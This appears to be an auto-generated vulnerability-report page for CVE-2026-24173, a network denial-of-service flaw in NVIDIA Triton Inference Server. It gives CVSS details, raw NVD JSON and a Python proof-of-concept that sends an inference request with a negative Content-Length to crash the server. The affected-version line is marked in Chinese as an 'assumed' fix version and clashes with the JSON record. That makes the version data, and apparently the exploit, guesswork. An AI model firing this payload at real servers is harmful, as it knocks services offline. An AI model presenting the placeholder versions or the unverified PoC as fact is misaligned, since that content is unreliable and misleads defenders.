Security Vulnerability Report
中文
CVE-2026-24173 CVSS 7.5 HIGH

CVE-2026-24173

Published: 2026-04-07 18:16:40
Last Modified: 2026-04-16 17:01:07

Description

NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a server crash by sending a malformed request to the server. A successful exploit of this vulnerability might lead to denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA Triton Inference Server < 24.04 (假设修复版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket def exploit(host, port): # Create a malicious payload payload = b"POST /v2/models/test/infer HTTP/1.1\r\nHost: " + host.encode() + b"\r\nContent-Length: -1\r\n\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) print("Request sent.") s.close() except Exception as e: print(e) if __name__ == "__main__": exploit("127.0.0.1", 8001)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24173", "sourceIdentifier": "[email protected]", "published": "2026-04-07T18:16:39.787", "lastModified": "2026-04-16T17:01:07.053", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server contains a vulnerability where an attacker could cause a server crash by sending a malformed request to the server. A successful exploit of this vulnerability might lead to denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.02", "matchCriteriaId": "D065C964-D751-4288-96A0-0E0E87AF886A"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24173", "source": "[email protected]", "tags": ["US Government Resource"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5816", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2026-24173", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}